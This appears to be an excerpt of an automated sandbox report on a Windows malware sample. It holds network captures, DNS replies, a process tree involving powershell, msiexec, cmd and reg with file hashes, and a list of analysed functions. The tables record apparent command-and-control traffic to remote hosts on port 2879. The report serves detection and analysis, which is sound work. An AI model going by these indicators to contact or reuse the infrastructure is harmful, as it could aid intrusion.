| Dec 13, 2024 08:50:39.584027052 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.584036112 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.584264994 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.584729910 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.584909916 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.584918976 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.585079908 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.585630894 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.585798979 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.585808039 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.586055994 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.586488008 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.586678982 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.586687088 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.586846113 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.587385893 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.587559938 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.587568045 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.587745905 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.588239908 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.588525057 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.588534117 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.588712931 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.589095116 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.589293957 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.589303017 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.589487076 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.590015888 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.590162039 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.590169907 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.590409994 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.590840101 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.591048002 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.591057062 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.591254950 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.591698885 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.591836929 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.591931105 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.592031956 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.592056036 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.592062950 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:48.113454103 CET | 49716 | 2879 | 192.168.11.20 | 192.169.69.26 |
| Dec 13, 2024 08:50:48.349673986 CET | 2879 | 49716 | 192.169.69.26 | 192.168.11.20 |
| Dec 13, 2024 08:50:48.349891901 CET | 49716 | 2879 | 192.168.11.20 | 192.169.69.26 |
| Dec 13, 2024 08:50:48.350111961 CET | 49716 | 2879 | 192.168.11.20 | 192.169.69.26 |
| Dec 13, 2024 08:50:48.634608030 CET | 2879 | 49716 | 192.169.69.26 | 192.168.11.20 |
| Dec 13, 2024 08:50:48.635799885 CET | 49717 | 2889 | 192.168.11.20 | 192.169.69.26 |
| Dec 13, 2024 08:50:48.854010105 CET | 2889 | 49717 | 192.169.69.26 | 192.168.11.20 |
| Dec 13, 2024 08:50:48.854183912 CET | 49717 | 2889 | 192.168.11.20 | 192.169.69.26 |
| Dec 13, 2024 08:50:48.857003927 CET | 49717 | 2889 | 192.168.11.20 | 192.169.69.26 |
| Dec 13, 2024 08:50:49.131221056 CET | 2889 | 49717 | 192.169.69.26 | 192.168.11.20 |
| Dec 13, 2024 08:50:49.282737970 CET | 49718 | 2879 | 192.168.11.20 | 172.111.244.113 |
| Dec 13, 2024 08:50:49.555067062 CET | 2879 | 49718 | 172.111.244.113 | 192.168.11.20 |
| Dec 13, 2024 08:50:49.555255890 CET | 49718 | 2879 | 192.168.11.20 | 172.111.244.113 |
| Dec 13, 2024 08:50:49.555505991 CET | 49718 | 2879 | 192.168.11.20 | 172.111.244.113 |
| Dec 13, 2024 08:50:49.800765038 CET | 2879 | 49718 | 172.111.244.113 | 192.168.11.20 |
| Dec 13, 2024 08:50:49.802153111 CET | 49718 | 2879 | 192.168.11.20 | 172.111.244.113 |
| Dec 13, 2024 08:50:50.046421051 CET | 2879 | 49718 | 172.111.244.113 | 192.168.11.20 |
| Dec 13, 2024 08:50:50.095329046 CET | 49718 | 2879 | 192.168.11.20 | 172.111.244.113 |
| Dec 13, 2024 08:50:50.166012049 CET | 49719 | 80 | 192.168.11.20 | 178.237.33.50 |
| Dec 13, 2024 08:50:50.371707916 CET | 80 | 49719 | 178.237.33.50 | 192.168.11.20 |
| Dec 13, 2024 08:50:50.371921062 CET | 49719 | 80 | 192.168.11.20 | 178.237.33.50 |
| Dec 13, 2024 08:50:50.372051954 CET | 49719 | 80 | 192.168.11.20 | 178.237.33.50 |
| Dec 13, 2024 08:50:50.582201004 CET | 80 | 49719 | 178.237.33.50 | 192.168.11.20 |
| Dec 13, 2024 08:50:50.582431078 CET | 49719 | 80 | 192.168.11.20 | 178.237.33.50 |
| Dec 13, 2024 08:50:50.610426903 CET | 49718 | 2879 | 192.168.11.20 | 172.111.244.113 |
| Dec 13, 2024 08:50:51.204408884 CET | 49718 | 2879 | 192.168.11.20 | 172.111.244.113 |
| Dec 13, 2024 08:50:51.581801891 CET | 80 | 49719 | 178.237.33.50 | 192.168.11.20 |
| Dec 13, 2024 08:50:51.581983089 CET | 49719 | 80 | 192.168.11.20 | 178.237.33.50 |
| Dec 13, 2024 08:50:51.813699007 CET | 49718 | 2879 | 192.168.11.20 | 172.111.244.113 |
| Dec 13, 2024 08:50:52.520796061 CET | 2879 | 49718 | 172.111.244.113 | 192.168.11.20 |
| Dec 13, 2024 08:50:52.521447897 CET | 2879 | 49718 | 172.111.244.113 | 192.168.11.20 |
| Dec 13, 2024 08:50:59.768048048 CET | 2879 | 49718 | 172.111.244.113 | 192.168.11.20 |
| Dec 13, 2024 08:50:59.769653082 CET | 49718 | 2879 | 192.168.11.20 | 172.111.244.113 |
| Dec 13, 2024 08:51:00.388771057 CET | 2879 | 49718 | 172.111.244.113 | 192.168.11.20 |
| Dec 13, 2024 08:51:00.388906002 CET | 49718 | 2879 | 192.168.11.20 | 172.111.244.113 |
| Dec 13, 2024 08:51:01.505249977 CET | 2879 | 49718 | 172.111.244.113 | 192.168.11.20 |
| Dec 13, 2024 08:51:01.505451918 CET | 49718 | 2879 | 192.168.11.20 | 172.111.244.113 |
| Dec 13, 2024 08:51:01.631536961 CET | 2879 | 49718 | 172.111.244.113 | 192.168.11.20 |
| Dec 13, 2024 08:51:29.945658922 CET | 2879 | 49718 | 172.111.244.113 | 192.168.11.20 |
| Dec 13, 2024 08:51:29.947339058 CET | 49718 | 2879 | 192.168.11.20 | 172.111.244.113 |
| Dec 13, 2024 08:51:30.830185890 CET | 49718 | 2879 | 192.168.11.20 | 172.111.244.113 |
| Dec 13, 2024 08:51:31.678822994 CET | 2879 | 49718 | 172.111.244.113 | 192.168.11.20 |
| Dec 13, 2024 08:52:00.088613987 CET | 2879 | 49718 | 172.111.244.113 | 192.168.11.20 |
| Dec 13, 2024 08:52:00.089692116 CET | 49718 | 2879 | 192.168.11.20 | 172.111.244.113 |
| Dec 13, 2024 08:52:00.382064104 CET | 2879 | 49718 | 172.111.244.113 | 192.168.11.20 |
| Dec 13, 2024 08:52:25.043322086 CET | 49719 | 80 | 192.168.11.20 | 178.237.33.50 |
| Dec 13, 2024 08:52:25.574438095 CET | 49719 | 80 | 192.168.11.20 | 178.237.33.50 |
| Dec 13, 2024 08:52:26.636672974 CET | 49719 | 80 | 192.168.11.20 | 178.237.33.50 |
| Dec 13, 2024 08:52:28.745642900 CET | 49719 | 80 | 192.168.11.20 | 178.237.33.50 |
| Dec 13, 2024 08:52:30.274105072 CET | 2879 | 49718 | 172.111.244.113 | 192.168.11.20 |
| Dec 13, 2024 08:52:30.276132107 CET | 49718 | 2879 | 192.168.11.20 | 172.111.244.113 |
| Dec 13, 2024 08:52:30.580018044 CET | 2879 | 49718 | 172.111.244.113 | 192.168.11.20 |
| Dec 13, 2024 08:52:32.963421106 CET | 49719 | 80 | 192.168.11.20 | 178.237.33.50 |
| Dec 13, 2024 08:52:41.383502007 CET | 49719 | 80 | 192.168.11.20 | 178.237.33.50 |
| Dec 13, 2024 08:52:58.223532915 CET | 49719 | 80 | 192.168.11.20 | 178.237.33.50 |
| Dec 13, 2024 08:53:00.444282055 CET | 2879 | 49718 | 172.111.244.113 | 192.168.11.20 |
| Dec 13, 2024 08:53:00.445787907 CET | 49718 | 2879 | 192.168.11.20 | 172.111.244.113 |
| Dec 13, 2024 08:53:00.739780903 CET | 2879 | 49718 | 172.111.244.113 | 192.168.11.20 |
| Dec 13, 2024 08:53:30.593415976 CET | 2879 | 49718 | 172.111.244.113 | 192.168.11.20 |
| Dec 13, 2024 08:53:30.594583035 CET | 49718 | 2879 | 192.168.11.20 | 172.111.244.113 |
| Dec 13, 2024 08:53:30.886915922 CET | 2879 | 49718 | 172.111.244.113 | 192.168.11.20 |
| Dec 13, 2024 08:54:00.737374067 CET | 2879 | 49718 | 172.111.244.113 | 192.168.11.20 |
| Dec 13, 2024 08:54:00.738496065 CET | 49718 | 2879 | 192.168.11.20 | 172.111.244.113 |
| Dec 13, 2024 08:54:01.136770010 CET | 2879 | 49718 | 172.111.244.113 | 192.168.11.20 |
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Dec 13, 2024 08:50:35.052189112 CET | 51059 | 53 | 192.168.11.20 | 1.1.1.1 |
| Dec 13, 2024 08:50:35.166699886 CET | 53 | 51059 | 1.1.1.1 | 192.168.11.20 |
| Dec 13, 2024 08:50:35.712951899 CET | 60839 | 53 | 192.168.11.20 | 1.1.1.1 |
| Dec 13, 2024 08:50:35.829119921 CET | 53 | 60839 | 1.1.1.1 | 192.168.11.20 |
| Dec 13, 2024 08:50:47.963767052 CET | 51223 | 53 | 192.168.11.20 | 1.1.1.1 |
| Dec 13, 2024 08:50:48.112231016 CET | 53 | 51223 | 1.1.1.1 | 192.168.11.20 |
| Dec 13, 2024 08:50:49.131860971 CET | 63400 | 53 | 192.168.11.20 | 1.1.1.1 |
| Dec 13, 2024 08:50:49.281646013 CET | 53 | 63400 | 1.1.1.1 | 192.168.11.20 |
| Dec 13, 2024 08:50:50.049469948 CET | 57370 | 53 | 192.168.11.20 | 1.1.1.1 |
| Dec 13, 2024 08:50:50.165311098 CET | 53 | 57370 | 1.1.1.1 | 192.168.11.20 |
| Timestamp | Source IP | Dest IP | Trans ID | OP Code | Name | Type | Class | DNS over HTTPS |
|---|---|---|---|---|---|---|---|---|
| Dec 13, 2024 08:50:35.052189112 CET | 192.168.11.20 | 1.1.1.1 | 0x9cbf | Standard query (0) | A (IP address) | IN (0x0001) | false | |
| Dec 13, 2024 08:50:35.712951899 CET | 192.168.11.20 | 1.1.1.1 | 0x1e8c | Standard query (0) | A (IP address) | IN (0x0001) | false | |
| Dec 13, 2024 08:50:47.963767052 CET | 192.168.11.20 | 1.1.1.1 | 0xcd90 | Standard query (0) | A (IP address) | IN (0x0001) | false | |
| Dec 13, 2024 08:50:49.131860971 CET | 192.168.11.20 | 1.1.1.1 | 0x891d | Standard query (0) | A (IP address) | IN (0x0001) | false | |
| Dec 13, 2024 08:50:50.049469948 CET | 192.168.11.20 | 1.1.1.1 | 0x7801 | Standard query (0) | A (IP address) | IN (0x0001) | false |
| Timestamp | Source IP | Dest IP | Trans ID | Reply Code | Name | CName | Address | Type | Class | DNS over HTTPS |
|---|---|---|---|---|---|---|---|---|---|---|
| Dec 13, 2024 08:50:35.166699886 CET | 1.1.1.1 | 192.168.11.20 | 0x9cbf | No error (0) | 172.217.215.102 | A (IP address) | IN (0x0001) | false | ||
| Dec 13, 2024 08:50:35.166699886 CET | 1.1.1.1 | 192.168.11.20 | 0x9cbf | No error (0) | 172.217.215.101 | A (IP address) | IN (0x0001) | false | ||
| Dec 13, 2024 08:50:35.166699886 CET | 1.1.1.1 | 192.168.11.20 | 0x9cbf | No error (0) | 172.217.215.100 | A (IP address) | IN (0x0001) | false | ||
| Dec 13, 2024 08:50:35.166699886 CET | 1.1.1.1 | 192.168.11.20 | 0x9cbf | No error (0) | 172.217.215.139 | A (IP address) | IN (0x0001) | false | ||
| Dec 13, 2024 08:50:35.166699886 CET | 1.1.1.1 | 192.168.11.20 | 0x9cbf | No error (0) | 172.217.215.113 | A (IP address) | IN (0x0001) | false | ||
| Dec 13, 2024 08:50:35.166699886 CET | 1.1.1.1 | 192.168.11.20 | 0x9cbf | No error (0) | 172.217.215.138 | A (IP address) | IN (0x0001) | false | ||
| Dec 13, 2024 08:50:35.829119921 CET | 1.1.1.1 | 192.168.11.20 | 0x1e8c | No error (0) | 108.177.122.132 | A (IP address) | IN (0x0001) | false | ||
| Dec 13, 2024 08:50:48.112231016 CET | 1.1.1.1 | 192.168.11.20 | 0xcd90 | No error (0) | 192.169.69.26 | A (IP address) | IN (0x0001) | false | ||
| Dec 13, 2024 08:50:49.281646013 CET | 1.1.1.1 | 192.168.11.20 | 0x891d | No error (0) | 172.111.244.113 | A (IP address) | IN (0x0001) | false | ||
| Dec 13, 2024 08:50:50.165311098 CET | 1.1.1.1 | 192.168.11.20 | 0x7801 | No error (0) | 178.237.33.50 | A (IP address) | IN (0x0001) | false |
|
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 0 | 192.168.11.20 | 49719 | 178.237.33.50 | 80 | 5324 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| Dec 13, 2024 08:50:50.372051954 CET | 71 | OUT | |
| Dec 13, 2024 08:50:50.582201004 CET | 1170 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 0 | 192.168.11.20 | 49714 | 172.217.215.102 | 443 | 5324 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2024-12-13 07:50:35 UTC | 216 | OUT | |
| 2024-12-13 07:50:35 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 1 | 192.168.11.20 | 49715 | 108.177.122.132 | 443 | 5324 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2024-12-13 07:50:36 UTC | 258 | OUT | |
| 2024-12-13 07:50:38 UTC | 4927 | IN | |
| 2024-12-13 07:50:39 UTC | 4927 | IN | |
| 2024-12-13 07:50:39 UTC | 4842 | IN | |
| 2024-12-13 07:50:39 UTC | 1255 | IN | |
| 2024-12-13 07:50:39 UTC | 1255 | IN | |
| 2024-12-13 07:50:39 UTC | 1255 | IN | |
| 2024-12-13 07:50:39 UTC | 1255 | IN | |
| 2024-12-13 07:50:39 UTC | 1255 | IN | |
| 2024-12-13 07:50:39 UTC | 1255 | IN | |
| 2024-12-13 07:50:39 UTC | 1255 | IN | |
| 2024-12-13 07:50:39 UTC | 1255 | IN |
Click to jump to process
Click to jump to process
back
Click to dive into process behavior distribution
Click to jump to process
| Target ID: | 0 |
| Start time: | 02:50:08 |
| Start date: | 13/12/2024 |
| Path: | C:\Users\user\Desktop\x295IO8kqM.exe |
| Wow64 process (32bit): | true |
| Commandline: | |
| Imagebase: | 0x400000 |
| File size: | 1'044'016 bytes |
| MD5 hash: | 3E4417C519A6DC532E433AD673BFA553 |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | low |
| Has exited: | true |
| Target ID: | 1 |
| Start time: | 02:50:10 |
| Start date: | 13/12/2024 |
| Path: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| Wow64 process (32bit): | true |
| Commandline: | |
| Imagebase: | 0x120000 |
| File size: | 433'152 bytes |
| MD5 hash: | C32CA4ACFCC635EC1EA6ED8A34DF5FAC |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | true |
| Target ID: | 2 |
| Start time: | 02:50:10 |
| Start date: | 13/12/2024 |
| Path: | C:\Windows\System32\conhost.exe |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff66cfd0000 |
| File size: | 875'008 bytes |
| MD5 hash: | 81CA40085FC75BABD2C91D18AA9FFA68 |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | true |
| Target ID: | 3 |
| Start time: | 02:50:25 |
| Start date: | 13/12/2024 |
| Path: | C:\Windows\SysWOW64\msiexec.exe |
| Wow64 process (32bit): | true |
| Commandline: | |
| Imagebase: | 0x950000 |
| File size: | 59'904 bytes |
| MD5 hash: | 9D09DC1EDA745A5F87553048E57620CF |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | false |
| Target ID: | 4 |
| Start time: | 02:50:33 |
| Start date: | 13/12/2024 |
| Path: | C:\Windows\SysWOW64\cmd.exe |
| Wow64 process (32bit): | true |
| Commandline: | |
| Imagebase: | 0x890000 |
| File size: | 236'544 bytes |
| MD5 hash: | D0FCE3AFA6AA1D58CE9FA336CC2B675B |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | true |
| Target ID: | 5 |
| Start time: | 02:50:33 |
| Start date: | 13/12/2024 |
| Path: | C:\Windows\System32\conhost.exe |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff66cfd0000 |
| File size: | 875'008 bytes |
| MD5 hash: | 81CA40085FC75BABD2C91D18AA9FFA68 |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | true |
| Target ID: | 6 |
| Start time: | 02:50:33 |
| Start date: | 13/12/2024 |
| Path: | C:\Windows\SysWOW64\reg.exe |
| Wow64 process (32bit): | true |
| Commandline: | |
| Imagebase: | 0xdd0000 |
| File size: | 59'392 bytes |
| MD5 hash: | CDD462E86EC0F20DE2A1D781928B1B0C |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | true |
Execution Graph
| Execution Coverage: | 19.8% |
| Dynamic/Decrypted Code Coverage: | 0% |
| Signature Coverage: | 21.3% |
| Total number of Nodes: | 1327 |
| Total number of Limit Nodes: | 25 |
Graph
Function 0040326A Relevance: 87.9, APIs: 34, Strings: 16, Instructions: 401stringfilecomCOMMON
Download Yara Rule
Control-flow Graph
| APIs |
|
| Strings |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 004052B8 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON
Download Yara Rule
Control-flow Graph
| APIs |
|
| Strings |
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 004066E2 Relevance: 5.4, APIs: 4, Instructions: 382COMMON
Download Yara Rule
Control-flow Graph
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
| APIs |
| Strings |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00403C06 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345windowstringCOMMON
Download Yara Rule
Control-flow Graph
| APIs |
|
| Strings |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00403863 Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215stringregistryCOMMON
Download Yara Rule
Control-flow Graph
| APIs |
|
| Strings |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Control-flow Graph
| APIs |
|
| Strings |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 0040603C Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 207stringCOMMON
Download Yara Rule
Control-flow Graph
| APIs |
|
| Strings |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00401767 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145stringtimeCOMMON
Download Yara Rule
Control-flow Graph
| APIs |
|
| Strings |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00405179 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72stringwindowCOMMON
Download Yara Rule
Control-flow Graph
| APIs |
|
| Strings |
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00406384 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON
Download Yara Rule
Control-flow Graph
| APIs |
| Strings |
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Control-flow Graph
| APIs |
| Strings |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Control-flow Graph
| APIs |
|
| Strings |
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00405EE7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45registryCOMMON
Download Yara Rule
Control-flow Graph
| APIs |
|
| Strings |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Control-flow Graph
| APIs |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Control-flow Graph
| APIs |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
| APIs |
|
| Strings |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00405AD6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON
Download Yara Rule
| APIs |
|
| Strings |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 004056FA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON
Download Yara Rule
| APIs |
| Strings |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00406B17 Relevance: 5.2, APIs: 4, Instructions: 236COMMON
Download Yara Rule
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00406D18 Relevance: 5.2, APIs: 4, Instructions: 208COMMON
Download Yara Rule
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00406A2E Relevance: 5.2, APIs: 4, Instructions: 205COMMON
Download Yara Rule
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00406533 Relevance: 5.2, APIs: 4, Instructions: 198COMMON
Download Yara Rule
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00406981 Relevance: 5.2, APIs: 4, Instructions: 180COMMON
Download Yara Rule
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00406A9F Relevance: 5.2, APIs: 4, Instructions: 170COMMON
Download Yara Rule
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 004069EB Relevance: 5.2, APIs: 4, Instructions: 168COMMON
Download Yara Rule
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00401B37 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON
Download Yara Rule
| APIs |
| Strings |
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
| APIs |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON
Download Yara Rule
| APIs |
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 0040524C Relevance: 3.0, APIs: 2, Instructions: 32comCOMMON
Download Yara Rule
| APIs |
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 0040156B Relevance: 3.0, APIs: 2, Instructions: 23COMMON
Download Yara Rule
| APIs |
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
| APIs |
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00405BEF Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON
Download Yara Rule
| APIs |
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00405BCA Relevance: 3.0, APIs: 2, Instructions: 13COMMON
Download Yara Rule
| APIs |
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 004056C5 Relevance: 3.0, APIs: 2, Instructions: 9COMMON
Download Yara Rule
| APIs |
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00405C72 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
Download Yara Rule
| APIs |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
| APIs |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00405CA1 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
Download Yara Rule
| APIs |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 0040159B Relevance: 1.5, APIs: 1, Instructions: 18COMMON
Download Yara Rule
| APIs |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 004040DE Relevance: 1.5, APIs: 1, Instructions: 10COMMON
Download Yara Rule
| APIs |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 0040412A Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON
Download Yara Rule
| APIs |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00404113 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON
Download Yara Rule
| APIs |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00403222 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
Download Yara Rule
| APIs |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00404100 Relevance: 1.5, APIs: 1, Instructions: 4COMMON
Download Yara Rule
| APIs |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00403789 Relevance: 1.3, APIs: 1, Instructions: 11COMMON
Download Yara Rule
| APIs |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00404AF5 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON
Download Yara Rule
| APIs |
|
| Strings |
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00404579 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 275stringCOMMON
Download Yara Rule
| APIs |
|
| Strings |
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 0040580B Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148filestringCOMMON
Download Yara Rule
| APIs |
|
| Strings |
| Memory Dump Source |
|
|
